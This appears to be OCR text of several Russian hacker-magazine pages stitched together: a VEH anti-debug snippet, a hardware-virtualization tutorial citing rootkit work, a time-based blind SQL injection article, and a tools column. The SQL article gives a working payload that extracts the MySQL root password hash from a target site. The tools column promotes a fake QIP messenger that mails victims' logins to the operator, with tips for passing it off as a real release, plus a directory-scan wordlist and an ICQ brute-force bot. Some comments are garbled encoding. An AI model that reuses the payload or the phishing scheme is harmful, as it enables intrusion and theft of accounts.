NtQueryInformationProcess/RtlDecodePointer. После того, как отыскали 
цикл — ставим бряк на инструкцию call-регистр. Звучит это пугающе, 
но при наличии Иды все делается за считанные минуты. Очень жела-
тельны здесь отладочные символы, если же сноровки достаточно, то 
можно и без них обойтись.   
Кстати, на Vista появилась возможность и вовсе «отключить» 
выполнение VEH-обработчиков через PEB. Как? В начале 
RtlpCallVectoredHandlers встречается такой код: 

...

 mov     rax, gs:30h   ; TEB

 mov     r15, [rax+60h]  ; PEB

 mov     eax, [r15+50h] ; ProcessUsingVEH

 bt      eax, r8d ; ïðîâåðêà âòîðîãî áèòà

 jb      call_vectored_handlers

...

То есть можно наставить кучу обработчиков, а потом сбросить флаг в 
PEB и ни один из них не будет выполнен!

ÑÎÕÐÀÍÈ ÏÀÌßÒÊÓ
Вот как на 64-битных версиях Windows, в условиях тотального кон-
троля над SEH, у нас в запасе остался VEH. Пригодиться он может 
много где. Ну, например, в различных пакерах, протекторах или в 
разных интересных программах. Вкупе с обфускацией описанная в 
статье техника может затруднить (пускай и незначительно) анализ 
кода. В последующих статьях я косвенно буду касаться изложен-
ных здесь приемов, поэтому храни этот материал как своего рода 
памятку. z 

НА WASM.RU ЛЕЖИТ ОДНА ИЗ НЕМНОГИХ РУССКОЯЗЫЧНЫХ СТАТЕЙ ПО VEH
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ÀÏÏÀÐÀÒÍÀß 
ÂÈÐÒÓÀËÈÇÀÖÈß 
ÍÀ ÏÐÀÊÒÈÊÅ  
×ÀÑÒÜ 2. ÏÅÐÅÕÎÄ Ê ÏÐÀÊÒÈÊÅ 

Я буду приводить примеры и форматы 
регистров в Long Mode по ходу, поэтому 
сразу следует сказать (или напомнить), что 
Long Mode — это режим работы процес-
сора, в котором работают все 64-битные 
ОС-и. 

ÈÍÑÒÐÓÊÖÈß VMRUN
Как ты помнишь из предыдущей статьи 
(ведь еще помнишь? :)) — инструкция 
VMRUN запускает виртуальную машину. 
Состояние хоста сохраняется в специаль-
ной области памяти, указатель на которую 
хранится в регистре VM_HSAVE_PA. А сос-
тояние запускаемого гостя — загружается 
из VMCB (на которую указывает регистр 
rax). Сегодня мы будем разбираться с этой 
чрезвычайно важной инструкцией, чтобы 
успешно заполнить управляющий блок 
виртуальной машины и запустить гостевую 
систему... 
 
À ÂÅÐÍÀ ËÈ VMCB?
VMRUN производит кучу проверок правиль-
ности контрольного блока виртуальной 
машины (а то мало ли что мы ей подсунуть 
хотим). Если обнаруживается что-то подо-

зрительное и недопустимое, то нас посылают 
с кодом VMEXIT_INVALID (кстати, некоторые 
коды VMEXIT я уже упоминал в предыдущей 
статье).
Итак, в каких же случаях VMRUN откажет-
ся запускать гостя? Буду перечислять эти 
ситуации по пунктам, а тебе при прочтении 
рекомендую иметь перед глазами структуру 
VMCB.
Заголовочный файл, содержащий VMCB: 

http://opensolaris.org/sc/src/xen-

gate/xvm-3.4+xen.hg/xen/include/

asm-x86/hvm/svm/vmcb.h  

1. Флаг в SVME в регистре EFER равен 0. 
Аппаратная виртуализация в госте должна 
быть включена.
2. Сброшен бит CR0.CD и одновременно уста-
новлен CR0.NW. Первый бит расшифровыва-
ется как Cache Disable — когда он установ-
лен, инструкции и данные не помещаются во 
внутренние кэши. А вот второй бит (по край-
ней мере, так написано в мануале AMD) — 
вообще игнорируется. Странно, что VMRUN 
его проверяет при сброшенном бите CD. 
3. Старшие 32 бита CR0 не равны 0. Если ты 

посмотришь на формат регистра CR0 (в long 
mode), то увидишь, что эти биты должны 
быть равны 0 (смотри иллюстрацию).
4. В регистрах CR3, CR4, DR6, DR7, EFER не 
равны нулю биты, отмеченные как MBZ (Must 
Be Zero).
5. ASID равен 0. ASID — это идентификатор 
адресного пространства, позволяющий 
отличать элементы хоста от гостевых в 
ассоциативном буфере трансляции (TLB). 
То есть поле ASID должно быть обязательно 
проинициализировано. На всякий случай 
напомню, что TLB используется для ускоре-
ния преобразования виртуальных адресов в 
физические. Наличие ASID-идентификатора 
позволяет избежать сброса TLB при каждом 
входе и выходе из гостя. Что, конечно, поло-
жительно сказывается на производитель-
ности.
6. Ошибочная инъекция события. 
Инжектированное событие  — это прерыва-
ние или исключение, выполняемое перед 
первой инструкцией гостя. 

// Ñòðóêòóðà eventinj_t â VMCB 

îïèñûâàåò ïàðàìåòðû èíæåêòèðîâàí-

íîãî ñîáûòèÿ
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typedef union 

{

    u64 bytes;

    struct 

    {

        u64 vector: 8;  // íîìåð 

ïðåðûâàíèÿ èëè èñêëþ÷åíèÿ

        u64 type: 3; // òèï 

ñîáûòèÿ

        u64 ev: 1; // áèò, óêà-

çûâàþùèé íà ïðàâèëüíîñòü êîäà 

îøèáêè (ïîëå errorcode).

        u64 resvd1: 19; // çàðå-

çåðâèðîâàííûå áèòû

        u64 v: 1; // Valid. Åñëè 

ýòîò áèò óñòàíîâëåí, ñîáûòèå 

èíæåêòèðîâàíî, åñëè ñáðîøåí — íå 

èíæåêòèðîâàíî

        u64 errorcode:32; // êîä 

îøèáêè

    } fields;

} __attribute__ ((packed)) 

eventinj_t;

 
Вообще, возможных типов инжектирован-
ных событий (поле type) всего 4:
0 — INTR (внешнее прерывание);
2 — NMI (немаскируемое прерывание). Если 
мы укажем тип NMI, то поле номера преры-
вания (vector) будет игнорироваться;
3 — исключение;
4 — программное прерывание. 
Если бит ev (Error code valid) установлен, 
то код ошибки errorcode будет «затолкнут» 
в стек. В каких случаях инъекция события 
неверна? Например, если гость в 64-бит-
ном режиме, а мы пытаемся инжектировать 
исключение #BR (вызывается командой 
bound), невозможное в этом режиме. Мы 
также получим VMEXIT_INVALID, если будем 
использовать зарезервированные значения 

поля type (1,5,6 или 7). Или если мы укажем 
тип исключения, а номер вектора — 2, что 
соответствует NMI (это немаскируемое пре-
рывание, а не исключение!).
7. Биты EFER.LMA (Long Mode Active) или 
LME (Long Mode Enable), отвечающие за 
активацию Long Mode, установлены, а 
процессор не поддерживает Long Mode. 
Вполне логично, что такое сочетание будет 
признано невалидным.
8. Одновременная установка битов EFER.
LME и CR0.PG (флаг включения странично-
го преобразования адресов) при сброшен-
ном бите CR4.PAE (или CR0.PE) — недопу-
стимая комбинация.
9. Флаги EFER.LME, CR0.PG, CR4.PAE (бит 
расширения физического адреса), CS.L 
и CS.D одновременно установлены. CS — 
сегмент кода. Биты L и D содержатся в 
дескрипторе сегмента. В 32-битном защи-
щенном режиме бит D использовался для 
указания размера операнда и адреса (32 
или 16 бит), а бит L — это бит, указываю-
щий, что размер адреса и операнда у нас 
64 бита. Теперь, я думаю, тебе понятно, 
почему одновременная установка этих 
двух битов является ошибкой (то есть мы 
указываем, что у нас одновременно по 
умолчанию установлен размер операнда 64 
и 32 бита).
10. Бит перехвата инструкции VMRUN (в 
области управления VMCB) сброшен — эта 
инструкция должна перехватываться в 
обязательном порядке. Да, ты все верно 
подумал. Действительно, можно вызывать 
VMRUN, уже находясь в режиме гостя. Вот 
пример, связанный с Голубой пилюлей. 
Некоторым людям удавалось запускать 
более 20 (!) вложенных пилюль. Главное — 
правильно сделать перехват этой инструк-
ции.

В VMCB бит перехвата VMRUN располага-
ется в двойном слове по смещению 10h от 
начала управляющего блока виртуальной 
машины и перехватить VMRUN можно так:

...

// Áèò VMRUN_INTERCEPT èìååò 

íîìåð 0

pVmcb->general2_intercepts|=1;

...

Вообще, поле general2_intercepts 
помимо бита перехвата VMRUN 
содержит флаги перехвата дру-
гих инструкций из svm-расширения: 
VMMCALL,VMLOAD,VMSAVE,STGI,CLGI и 
SKINIT, но перехватывать эти инструкции
уже необязательно.
11. Физические адреса карты разрешения 
MSR (MSRPM) или ввода-вывода (IOPM) 
равны или больше максимального поддер-
живаемого физического адреса. А иначе им 
(картам) просто не хватит места! Карта раз-
решения MSR (как и ввода-вывода) должна 
быть выровнена по границе 4 килобайта. 
И VMRUN игнорируются младшие 12 бит 
адреса MSRPM и IOPM. О картах, кстати, я 
упоминал в предыдущей статье.
Если VMCB верная, то можно продолжать. 
Теперь ты знаешь, чего делать нельзя. 
Дальше поговорим о том, что можно и 
нужно :).
VMRUN после проверок и сохранения 
состояния хоста загружает следующую 
информацию из контрольного блока вирту-
альной машины.
Первое, что обрабатывается VMRUN — это 
область состояния гостя (она же State Save 
Area): 
1. CS и rip — определяют, откуда начнет 
выполняться гость. CS — сегмент кода, а rip — 
указатель инструкции в long mode (когда 
мы имели дело с 32-битами, у нас был 
регистр eip).
2. Регистры rflags,rax...
3. SS (сегмент стека) и rsp — стек гостя. В 
32-битном режиме был не rsp, a esp :).   
4. CR0, CR2 (в этом регистре содержится 
виртуальный адрес ошибки страницы — 
page fault), CR3, CR4 и EFER — эти реги-
стры отвечают за страничное преобразова-
ние адресов в гостевой системе.
5. IDTR, GDTR(база и размер таблиц дескрип-
торов GDT и IDT),ES и DS, DR7 и DR6. 
6. V_TPR — виртуальный регистр приори-
тета задачи (TPR). Значение поля v_tpr 
записывается в регистр CR8 гостя. Регистр 
приоритета задачи используется в случаях, 
если, у нас, например, пришло какое-то «не 
очень важное» прерывание, а выполняется 
какая-то задача, которую ну никак нельзя 
прервать. Тогда мы записываем приоритет 
прерывания (например, 7) в регистр CR8 
и все прерывания с приоритетом меньше 
7(включительно) будут игнорироваться.
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Касперски 
«Архитектура x86-
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ассемблерщика» — 
insidepro.com/kk/

072/072r.shtml.

• Статья «An 
Introduction 
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Assisted Virtual 
Machine (HVM) 
Rootkits» (в том 
числе, упоминается 
баг с TSC_OFFSET) 
— megasecurity.org/

papers/hvmrootkits.pdf. 
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for AMD NPT Family 
0Fh Processors» 
(перечисляют-
ся erratum-ы) 
— support.amd.

com/us/Processor_

TechDocs/33610.pdf.
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7. V_IRQ. Этот флаг определяет, будет ли виртуальное 
прерывание отложено.
8. CPL или текущий уровень привилегий. Если гостевая 
система загружается в реальный режим — CPL = 0, если 
в режим виртуального 8086, то 3.
CPL определяет кольцо защиты: 0 — нулевое, 3, соот-
ветственно, третье.
После этого VMRUN переходит к обработке области фла-
гов (Control Area).
Здесь можно отметить так называемый TSC_OFFSET. 
Значение TSC_OFFSET добавляется к счетчику меток 
реального времени (в мануалах — TSC) в госте, когда 
тот решит получить его значение.
То есть, когда мы выполним в госте команду rdtsc, то к 
значению счетчика будет автоматически прибавлено 
значение TSC_OFFSET. С этим полем связан известный 
баг (Erratum 140), когда при чтении TSC MSR через 
rdmsr, а не rdtsc значение TSC_OFFSET не прибавля-
лось к счетчику.
Конечно, в Control Area мы можем указать множество 
различных событий или инструкций, которые хотим 
перехватывать. Так же считывается уже упоминавшийся 
идентификатор ASID и т.д.
В нашей структуре VMCB каждый сегмент описывается 
структурой segment_register (код взят из Xen), содер-
жащей части дескриптора сегмента и селектор на этот 
дескриптор:

// ñòðóêòóðà, îïèñûâàþùàÿ àòðèáóòû ñåãìåíòà 

typedef union segment_attributes 

{

  uint16_t bytes;

  struct

  {

    uint16_t type:4;  /* 0;  Bit 40-43 */

    uint16_t s:   1;  /* 4;  Bit 44 */

    uint16_t dpl: 2;  /* 5;  Bit 45-46 */

    uint16_t p:   1;  /* 7;  Bit 47 */

    uint16_t avl: 1;  /* 8;  Bit 52 */

    uint16_t l:   1;  /* 9;  Bit 53 */

    uint16_t db:  1;  /* 10; Bit 54 */

    uint16_t g:   1;  /* 11; Bit 55 */

    uint16_t pad: 4;

  } fields;

} 

__attribute__ ((packed)) segment_

attributes_t;

// Ñòðóêòóðà, îïèñûâàþùàÿ ñåãìåíò â VMCB

struct segment_register 

{

 // ñåëåêòîð íà äåñêðèïòîð ñåãìåíòà

  uint16_t   sel; 

 // àòðèáóòû ñåãìåíòà

  segment_attributes_t attr; 

 // ðàçìåð

  uint32_t   limit;

 // àäðåñ íà÷àëà ñåãìåíòà

  uint64_t   base; 

}  __attribute__ ((packed));

К атрибутам сегментов в VMCB предъявляются опреде-
ленные требования. Подробнее:
1. Не разрешен нулевой сегмент кода, поэтому восприни-
маются аппаратурой только некоторые биты в дескрипто-
ре (D, L, R). 
2. Регистр TR может иметь только тип TSS (напоминаю, 
что тип сегмента определяется в дескрипторе сегмента).  
3. У LDTR из атрибутов не игнорируется только бит при-
сутствия сегмента (P).
Когда сработает какое-либо перехватываемое событие, 
управление получит инструкция после VMRUN (впрочем, 
я об этом уже говорил). После VMRUN необходимо раз-
местить код проверки и обработки различных условий 
#VMEXIT.  
Ядро гипервизора составляет  цикл из VMRUN и обра-
ботки VMEXIT: 

РЕГИСТР CR3 В LONG MODE (МЫ ЖЕ ПИШЕМ ПОД 64 БИТА!)
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// îñíîâíîé öèêë ãèïåðâèçîðà 

(â îáùåì âèäå)

// paVmcb — physical address vmcb

// vaVmcb — virtual address vmcb

do

{

  

  // ïîñëå êàæäîãî VMEXIT íóæíî 

óñòàíàâëèâàòü âñå ïåðåõâàòû çàíî-

âî, ò.ê. îíè î÷èùàþòñÿ

  InstallIntercepts(vaVmcb);

  

  // ïåðåäàåì VMRUN ôèçè÷åñêèé 

àäðåñ VMCB 

  _VMRUN(paVmcb);

  // îáðàáîòêà êîäîâ âûõîäà èç 

ãîñòÿ

  switch(vaVmcb->exitcode)

  {

    case VMEXIT_RDTSC:

   ...

   

   break;

   

 case VMEXIT_VMRUN:

   ...

   

   break;

   

  ...

  // äðóãèå îáðàáàòûâàåìûå 

ñîáûòèÿ

  }

  

}while(1);

Для полного понимания сказанного тебе 
придется подтянуть знания защищенного 
режима работы процессора (если ты не зна-

ком с этой темой). Ссылки на дополнитель-
ную литературу я привожу на полях статьи. 

ÑÎÇÄÀÅÌ VMCB 
Ну что, твоих знаний еще недостаточно 
для создания полноценного гипервизора? 
Однако продолжаю потихоньку вводить тебя 
в курс дела :).
Что касается выделения блока памяти под 
VMCB и Host Save Area — это можно сделать 
ядерной функцией MmAllocateContiguousMe
morySpecifyCache. Ее прототип:

NTKERNELAPI 

PVOID

  MmAllocateContiguousMemorySpeci

fyCache(

    IN SIZE_T  NumberOfBytes, // 

êîëè÷åñòâî âûäåëÿåìûõ áàéò

    IN PHYSICAL_ADDRESS  

LowestAcceptableAddress, // íèæ-

íÿÿ ãðàíèöà ïðè âûäåëåíèè ïàìÿòè

    IN PHYSICAL_ADDRESS  

HighestAcceptableAddress, // âåðõ-

íÿÿ ãðàíèöà ïðè âûäåëåíèè ïàìÿòè

    IN PHYSICAL_ADDRESS  

BoundaryAddressMultiple  OPTIONAL, 

// âûðàâíèâàíèå ðåãèîíà

    IN MEMORY_CACHING_TYPE  

CacheType

    );

В прошлой статье я упоминал, что для пони-
мания кода понадобится опыт разработки 
дров под Винду (ну или хотя бы минималь-
ные знания, чтобы понимать сорс).
Примерный код для выделения памяти под 
VMCB:

..

  l1.QuadPart = 0; // ìèíèìàëüíûé 

àäðåñ äëÿ âûäåëåíèÿ

  l2.QuadPart = -1; 

 // ìàêñèìàëüíûé àäðåñ

  

  l3.QuadPart = 0x10000; 

 // âûðàâíèâàíèå

  // VMCB çàíèìàåò 1 ñòðàíèöó, => 

uNumberOfPages = 1

  // CacheType = MmCached

  PageVA = MmAllocateContiguousMe

morySpecifyCache (uNumberOfPages * 

PAGE_SIZE,l1, l2, l3, CacheType);

  

  if (!PageVA)

    return NULL;

  // îáíóëÿåì âûäåëåííûé ðåãèîí

  RtlZeroMemory (PageVA,

    uNumberOfPages * PAGE_SIZE);

  // ïîëó÷àåì ôèçè÷åñêèé àäðåñ 

âûäåëåííîãî ðåãèîíà

  

  PagePA = MmGetPhysicalAddress 

  (PageVA);

...

Аналогичным образом память выделяется и 
для HSA, и для карт разрешения MSR и IOIO.

ÇÀÊËÞ×ÅÍÈÅ
Вот и все на сегодня. Информации много, и, 
чтобы ее полностью переварить (если тема 
для тебя новая), потребуется время. Помни, 
дорогу осилит идущий.
А со мной по-прежнему можно связаться по 
e-mail и написать свои предложения или 
вопросы по содержанию статей (или просто 
пообщаться на тему аппаратной виртуализа-
ции). z 
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ÄÈÀËÎÃ Ñ ÍÅÌÛÌ 
SQL ÈÑÏÎËÜÇÓÅÌ ÏÐÎÄÂÈÍÓÒÛÉ ÌÅÒÎÄ 
ÑËÅÏÛÕ SQL

×
ем же так примечательны эти слепые 
инъекции? А тем, что они вовсе и не 
примечательны, а противны и безоб-
разны. Как для меня с тобой, так и для 
сервера. Если мы говорим о критиче-

ских случаях, когда сервер не показывает ни-
каких ошибок, то для получения информации 
из базы данных обычно приходится выбирать 
данные на условиях ложь/правда. Это занима-
ет очень много времени, сильно пачкает логи, 
а иногда нагружает SQL-сервер. Все-таки, на 
один символ — несколько запросов. 
Но сейчас мы изменим ситуацию к лучшему. 
Как тебе один символ на один запрос при 
слепой, совсем-совсем слепой, инъекции? 
Наверняка тебя интересует, как же можно 
такого добиться, когда недоступны никакие 
источники информации, кроме как ответ сер-
вера — true/false. Однако, можно. Мы задей-
ствуем еще один параметр — время. 
Вероятно, ты подумал: «автор статьи дви-
гает в массы старье, про time-based SQL-
инъекции все уже знают». А вот и нет! Это 

будет продвинутая,  или «advanced» time-
based SQL-инъекция. Мы не будем ничего 
сравнивать, как это обычно происходит, и 
суть новинки заключается в определении 
уникальных временных задержек сервера — 
по задержке на символ.
То есть, мы говорим серверу ничего нам не 
сообщать в течение определенного време-
ни для какого-то определенного символа. 
Фактически, получается таблица соотноше-
ний временных задержек и символов. 

ÁÅÐÅÌ ÑÅÐÂÅÐ ÇÀ ÐÎÃÀ
Попробуем реализовать мой метод на прак-
тике. Для примера возьмем популярный и 
многострадальный MySQL 5. Пятая, а точнее 
5.0.12 версия, предлагает нам новую (относи-
тельно новую) функцию SLEEP().

mysql> SELECT SLEEP(2);

+----------+

| SLEEP(2) |

+----------+

|        0 |

+----------+

1 row in set (2.00 sec)

Она приказывает серверу уснуть на какое-то 
количество секунд. Я решил воспользоваться 
этой функцией вместо старой и совсем не 
доброй BENCHMARK() по следующим при-
чинам:
1. BENCHMARK() не дает такой точности, как 
новая функция;
2. BENCHMARK() нагружает сервер, незачем 
его мучить;
3. SLEEP() немного короче;
4. BENCHMARK() уже успела наследить в раз-
ных WAF.
Вопрос такой — на сколько секунд при каком 
символе SQL-серверу стоит  засыпать? 
Можно, конечно, в каждом запросе посылать 
нечто вроде массива отношений время/сим-
вол, но это неэлегантно. Решить проблему 
можно следующим образом. Допустим, мы 
посимвольно извлекаем пароль при помощи 
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SUBSTR() или его более короткого аналога 
— MID(), тогда каждый полученный символ 
преобразуем в ASCII-значение. И то, что мы 
получили, передаем функции SLEEP().

mysql> SELECT ORD('*');

+----------+

| ORD('*') |

+----------+

|       42 |

+----------+

1 row in set (0.00 sec)

Но значение слишком велико, чтобы так 
долго ждать. Ведь уже для символа * это 
целых 42 секунды, а что будет для f? Поэтому 
немного слукавим и от полученного значения 
отнимем 40. Все 42 секунды не стоит брать, 
так как не будет понятно, получилась ли теку-
щая операция — в случае каких-либо ошибок 
мы всегда будем получать 0. 
Две секунды будет стартовой точкой.
В упрощенном варианте наш запрос к серве-
ру выглядит примерно так:

http://victim.com/index.php?id=1 

AND 1=(SELECT SLEEP((ORD(MID(passw

ord,N,1))-40)) FROM 'mysql'.'user' 

WHERE `user`='root' LIMIT 1) --

Уловил мысль? На всякий случай поясню 
действия запроса:
1. Извлекаем N-ный символ пароля;
2. Конвертируем символ при помощи функ-
ции ORD() в его ASCII-значение;
3. Полученное числовое значение передаем 
функции SLEEP(). 

ÀÂÒÎÌÀÒÈÇÀÖÈß
Итак, принцип ясен, но вручную этим зани-
маться — неблагодарное дело. Можно, конеч-
но, на листке записать таблицу соотношений, 
а в руках держать секундомер и ждать ответ 
сервера. Оставим это для суровых челябин-
ских парней, мы с тобой знаем про поговорку 
«время-деньги». Специально для тебя я 
написал Perl-скрипт, который поможет авто-

матизировать рутинный процесс. 
Скрипт довольно-таки прост, но на вся-
кий случай в нем есть небольшой хелп (на 
английском). В двух словах: сценарий выпол-
няет задачу не полноценного инструмента, а, 
скорее, показательного примера, так сказать, 
Proof Of Concept. 
Хочу обратить твое внимание на один из 
параметров скрипта «-p» (сокращенное 
precision, или по-русски, точность). Что он 
делает, я объясню чуть позже.
Принцип работы скрипта таков — сначала 
он тестирует, применим ли метод, а в случае 
успеха выбирает пароль для пользователя 
root (по умолчанию), если такая удача имеет 
место быть. К сожалению (а может, к сча-
стью), он не идеален, и ты легко его можешь 
заточить под себя. 

ËÎÆÊÀ ÄÅÃÒß Â ÁÎ×ÊÅ ÌÅÄÀ
Один из существенных недостатков метода — 
он чувствителен к непропорциональному 
времени отдачи страницы, которое никогда 
не будет одинаковым: и сервер отвечает с 
разными задержками, и сама сеть никогда не 
будет идеально стабильной, ну и много дру-
гих второстепенных факторов могут мешать.
Разберем суть проблемы — к примеру, у нас в 
пароле текущий символ 2, тогда при идеаль-

ных обстоятельствах полученное значение от 
паузы будет 5 (в секундах). 
После всех преобразований ASCII-значение 
будет 50, что и есть 2. 
Но, допустим, ожидаемый ответ приходит на 
полторы секунды позже, чем предполагалось. 
По времени это уже получится 6.5 секунд, 
ASCII-значение 52, а символ и вовсе — 4. На 
локальном сервере все работает безупреч-
но, без каких-либо «паразитных» задержек, 
но нам надо использовать метод в полевых 
условиях.
Решил я проблему, введя специальный 
коэффициент — точность, или, как в скрипте 
написано, precision. Это и есть один из пара-
метров скрипта, «-p». 
Данный коэффициент позволяет расширить 
диапазон допустимых значений задержек для 
каждого символа, то есть каждому символу 
теперь выделен некий интервал времени. 
Думаю, график выразит мысль лучше, чем 
слова. 
Фактически, коэффициент «точность» соот-
ветствует количеству секунд, которое отво-
дится дополнительно для каждого символа. 
Чтобы прояснить ситуацию, вернемся к про-
шлому примеру.
В том случае мы получили 6.5 секунд, что 
привело к неправильной интерпретации 

ПРОЦЕСС РАБОТЫ POC-СКРИПТА

СООТНОШЕНИЕ ВРЕМЕНИ ОЖИДАНИЯ И СИМВОЛА ПРИ КОЭФФИЦИЕНТЕ ТОЧНОСТИ 2
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полученных данных. Теперь же, если мы 
возьмем precision, равный двум, то после 
расширения интервала допустимых значе-
ний для символа 2 диапазон уже будет 11-13 
(включительно). Таким образом, добавляя 
к стартовому значению 11 секунд дополни-
тельные «паразитные» полторы секунды, мы 
получим 13,5 секунд, но наша кривая чертова 
дюжина уже среди допустимых значений.
Хочу отметить, что при повышении коэффи-
циента точности увеличивается общее время 
ожидания. При точности, равной 0, время 
извлечения строки длиной в 41 символ (хеш 
пароля и астериск) составляет около 400 
секунд, дальше на каждую единицу точности 
время ожидания увеличивается примерно на 
318 секунд. 
Долго, но что делать, когда такие суровые 
условия? Тем более, я уверен, что и данный 

метод подлежит оптимизации. Допустим, 
сократить общее время ожидания можно за 
счет многопоточности. Еще как вариант я 
вижу применение группировки символов — 
создать определенную группу символов 
(путем SQL-запроса) на некий период време-
ни, а там разбираться по алгоритму, что при-
менен в показательном скрипте. Но это уже 
детали реализации конкретного решения, не 
относящиеся к теме.
Если ты посмотришь в исходник скрип-
та, то увидишь, что запрос существенно 
длиннее и отличается от приведенного 
в статье. Дело в том, что запрос состав-
лен таким образом, чтобы исключить 
диапазоны ненужных символов, оставив 
только те, что встречаются в строке, 
которую мы извлекаем — «0-9, A-Z. *».
Для примера я взял хеш пароля пользовате-

ля.  Думаю, тебе не составит проблем разо-
браться в запросе, а если что, обращайся к 
руководству MySQL, ну или ко мне.
Второй недостаток метода — сложность реа-
лизации. Не обойтись без средств автома-
тизации, то есть, задействовать такой прием 
в полевых условиях крайне тяжело, да и не 
оправдывает средств. Однако заготовка уже 
есть, да и самому написать свой инструмент, 
думаю, нетрудно.

È ÝÒÎ ÂÑÅ?
Наверное, ты хочешь спросить — «и где же 
тут продвинутость?». Да, время выполнения 
не конек метода, но зато мы имеем всего 40 
запросов для 40-символьного пароля MySQL 
при отсутствии вывода каких-либо данных в 
слепых SQL-инъекциях. 
Повышая количество запросов, мы можем 
оптимизировать общее время, ведь даже 
десяток лишних строк не сильно повы-
сят степень риска быть замеченным. Все 
вышеописанное относится не только к 
MySQL и вполне может быть реализовано 
на других серверах. Например, в PostreSQL 
нашу SLEEP() функцию можно заменить на 
pg_sleep(), ну и так далее. 
Это лишь метод, его можно и нужно модифи-
цировать, оптимизировать и расширять. 
Конечно, он далеко не идеален, но куда 
проще для таких критических случаев, 
как слепая инъекция без каких-либо 
активных признаков этой самой инъ-
екции. Впрочем, эффективность этого 
метода можно повысить и можно соору-
дить более продвинутый фингерпринтер 
базы данных для слепых SQL-инъекций. 
Простор для фантазии неограничен, 
остается лишь подхватить идею. Так чего 
же ты медлишь? z 

ПОРОЙ И ТАК НАС ВСТРЕЧАЮТ

ЛОГИ APACHE С НАШИМИ ЗАПРОСАМИ ВО ВСЕЙ КРАСЕ

BENCHMARK() В СПИСКЕ БЛОКИРУЕМЫХ ФУНКЦИЙ GREENSQL'ОМ
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ПРОГРАММЫ ДЛЯ ХАКЕРОВ

ПРОГРАММА: QIP Fake
ОС: WINDОWS 2000/2003/XP/VISTA/7
АВТОР: JIYKA

Представляю очередное творение уже знако-
мого тебе по предыдущим выпускам X-Tools 
Луки (jiykasoft.3dn.ru) — фейк известного 
ICQ-мессенджера QIP. Прога представляет 
собой точную копию начальных окон клиента 
QIP 2005 Build 8092. Общий смысл работы 
программы: сначала жертва запускает фейк 
на своем компьютере, затем производит не-
обходимые манипуляции (настраивает сервер, 
прокси, ставит нужные галки), вводит логин и 
пароль в соответствующие окна и нажимает 
кнопку «Подключиться» или «Только открыть». 
В этот момент прога отсылает на твою почту 
новое сообщение вида:

îò êîãî: JIyka

òåìà: JIykaSoft.3dn.Ru

Email îòïðàâèòåëÿ: JIyk@bk.ru

òåêñò: uin;pass

После отправки сообщения фейковый клиент 
выдает ошибку сервера.
В папке же самой программы есть три файла и 
две папки: файл *.htm можно сразу удалять, 
остальное оставляй нетронутыми и передавай 
жертве :).
Настройки программы находятся в файле QIP\
Skins\skins.cfg:
• первая строка должна содержать e-mail, куда 
будут приходить сообщения;
• вторая строка — надпись в первом загрузоч-
ном окне;
• третья строка содержит цвет фона надписи в 
первом загрузочном окне.
Также ты можешь изменить рисунок из QIP\
Skins\ICQ5\start.jpg — это изображение загру-
зочного окна.
Впарить фейк жертве — это задача для твоих 
навыков социальной инженерии, но вот воз-
можный способ от автора программы: качаем 
QIP 2005 (http://qip.ru/ru/pages/download_qip_ru) 
и переносим все файлы из папки фейка в папку 

QIP, пакуем получившееся творение любой 
программой инсталляции и выкладываем 
где-нибудь в Сети со следующим возможным 
текстом: «вышел новый QIP 2005» :).

 ПРОГРАММА: ArxScanSite
ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР: ARXWOLF
Далее на повестке дня еще один уже знакомый 

тебе кодер — ArxWolf из команды webxakep.net — 
и его многопоточный сканер директорий сайта.
В каком случае тебе пригодится такой сканер?
Допустим, ты хочешь узнать строение сайта, 
но нет желания перебирать и искать файлы 
ручками, значит, все это за тебя может сделать 
полностью настраиваемый, многопоточный и 
очень быстрый сканер директорий и файлов со 
встроенной системой «Передышки», которая 
позволит тебе обойти практически любые 
AntiDDoS-скрипты.
Возможности программы:

• ìíîãîïîòî÷íîñòü (îò 1 äî 50 è áîëåå 

ïîòîêîâ)

• ðàáîòà ñ ïðîòîêîëàìè http è https

• îïöèîíàëüíûé âûâîä îòâåòîâ (HTTP 

200, 301, 404, 403, 401, 302)

• áîëüøàÿ ýêîíîìèÿ òðàôèêà (êà÷àþòñÿ 

òîëüêî çàãîëîâêè)

• âîçìîæíîñòü ðàáîòû ÷åðåç Proxy/

Socks ñåðâåð

• óäîáíûé âûâîä ðåçóëüòàòà ðàáîòû 

(òàáëè÷íûé è òåêñòîâûé)

• îòêðûòèå ññûëîê ïðÿìî â îêíå ïðî-

ãðàììû

• âûáîð îäíîãî èç òðåõ áðàóçåðîâ äëÿ 

îòêðûòèÿ ññûëîê

• ïåðåäûøêà (äëÿ ïðåäîòâðàùåíèÿ 

ääîñà)

• êîíôèãóðàöèîííûé ôàéë (âñå íà-

ñòðîéêè ïðîãðàììû íàõîäÿòñÿ èìåííî 

â íåì)

• âîçìîæíîñòü óêàçàòü ñâîè HTTP-çà-

ãîëîâêè (UserAgent, Referer è ò.ä.)

• áîëüøîé ôàéë áàçû äàííûõ, êîòîðûé 

âñåãäà ìîæíî îòðåäàêòèðîâàòü

База данных программы содержит списки 
файлов и директорий вида:

.htaccess

.htconfig

.htpasswd

_adm/

_install/

_mysql/

_notes/

_private/

_update.php

_voip/

_vti_bin/

~install.php

~update.php

1.php

1/

2003/

2006/

2007/

2008/

666/

about.php

about/

access

access_log

account.asp

account.html

account.php

acct_login/

add/

addnews/

adm/

adm2/

admin.asp

admin.cfg

admin.dat

admin.html

admin.inc

admin.php

ПРОГРАММА:  Storm 2008 Brutal 
Edition
ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР:  Q1P
Storm 2008 Brutal Edition — скромный icq-бот, 
который пригодится всем, кто занимается бру-
том ICQ-уинов на выделенных серверах.
Он предназначен для облегчения управления 
брутом и его автоматизации. Работает совмест-

Фейк Квипа

X-TOOLS
ВЗЛОМ

Сканер директорий сайта
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но только с .Brutal 0.3-0.8+ (есть версия и для 
IPD-брута, но ее мы не будем описывать, так как 
брутфорсер безнадежно устарел).
Возможности:
• удаленное управление .Brutal (например, 
нажатие кнопок остановки и запуска, cleanup, 
показ статистики, скрытие и показ окна);
• управление командной строкой windows на 
сервере;
• отправка новых good'ов на icq-номер(а) 
администратора;
• организация очереди списков для брута;
• автоматическое обновление прокси через 
заданный промежуток времени (прокси 
могут скачиваться из интернета в виде текс-
тового файла, либо используется локальная 
копия списка, которую можно обновлять 
вручную);
• простая система администрирования;
• управление возможно с нескольких номеров;
• для каждого номера можно установить свои 
настройки;
Дополнительные возможности: скачка файлов 
из интернета, icq gate (использование бота в 
качестве гейта), отправка, принятие сообще-
ний и т.д.
